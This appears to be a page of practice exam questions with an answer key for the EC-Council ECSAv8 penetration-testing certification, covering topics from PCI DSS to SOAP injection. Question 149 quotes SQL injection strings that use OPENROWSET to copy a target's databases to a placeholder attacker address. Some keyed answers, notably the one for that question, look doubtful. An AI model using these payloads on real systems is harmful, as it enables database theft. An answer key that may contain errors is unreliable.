EC-COUNCIL ECSAv8 Online Practice Questions and Exam Preparation

EC-COUNCIL ECSAv8 Online Questions & Answers

• Question 141:

  Which of the following acts is a proprietary information security standard for organizations that handle cardholder information for the major debit, credit, prepaid, e-purse, ATM, and POS cards and applies to all entities involved in payment card processing?

  A. PIPEDA
  B. PCI DSS
  C. Human Rights Act 1998
  D. Data Protection Act 1998
  B. PCI DSS

• Question 142:

  Which of the following information gathering techniques collects information from an organization's web-based calendar and email services?

  A. Anonymous Information Gathering
  B. Private Information Gathering
  C. Passive Information Gathering
  D. Active Information Gathering
  B. Private Information Gathering

• Question 143:

  DNS information records provide important data about:

  A. Phone and Fax Numbers
  B. Location and Type of Servers
  C. Agents Providing Service to Company Staff
  D. New Customer
  B. Location and Type of Servers

• Question 144:

  Which of the following attacks is an offline attack?

  A. Pre-Computed Hashes
  B. Hash Injection Attack
  C. Password Guessing
  D. Dumpster Diving
  A. Pre-Computed Hashes

• Question 145:

  Which of the following statements is true about Multi-Layer Intrusion Detection Systems (mIDSs)?

  A. Decreases consumed employee time and increases system uptime
  B. Increases detection and reaction time
  C. Increases response time
  D. Both a and c
  A. Decreases consumed employee time and increases system uptime

• Question 146:

  Which among the following information is not furnished by the Rules of Engagement (ROE) document?

  A. Techniques for data collection from systems upon termination of the test
  B. Techniques for data exclusion from systems upon termination of the test
  C. Details on how data should be transmitted during and after the test
  D. Details on how organizational data is treated throughout and after the test
  D. Details on how organizational data is treated throughout and after the test

• Question 147:

  Which of the following is a framework of open standards developed by the Internet Engineering Task Force (IETF) that provides secure transmission of the sensitive data over an unprotected medium, such as the Internet?

  A. DNSSEC
  B. Netsec
  C. IKE
  D. IPsec
  D. IPsec

• Question 148:

  An attacker injects malicious query strings in user input fields to bypass web service authentication mechanisms and to access back-end databases. Which of the following attacks is this?

  A. Frame Injection Attack
  B. LDAP Injection Attack
  C. XPath Injection Attack
  D. SOAP Injection Attack
  D. SOAP Injection Attack

• Question 149:

  A penetration tester tries to transfer the database from the target machine to a different machine. For this, he uses OPENROWSET to link the target database to his own database, replicates the database structure, and transfers the data to his machine by via a connection to the remote machine on port 80.

  The query he used to transfer databases was:

  '; insert into OPENROWSET

  ('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases ?

  The query he used to transfer table 1 was:

  '; insert into OPENROWSET('SQLoledb',

  'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..table1') select * from database..table1 ?

  What query does he need in order to transfer the column?

  A. '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0;','select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.systables ?
  B. '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0;','select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.sysrows ?
  C. '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0;','select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.syscolumns ?
  D. '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0;','select * from mydatabase..hacked_syscolumns') select * from user_tables.dbo.syscolumns ?
  A. '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0;','select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.systables ?

• Question 150:

  Application security assessment is one of the activity that a pen tester performs in the attack phase. It is designed to identify and assess threats to the organization through bespoke, proprietary applications or systems. It checks the application so that a malicious user cannot access, modify, or destroy data or services within the system.

  

  Identify the type of application security assessment which analyzes the application-based code to confirm that it does not contain any sensitive information that an attacker might use to exploit an application.

  A. Web Penetration Testing
  B. Functionality Testing
  C. Authorization Testing
  D. Source Code Review
  D. Source Code Review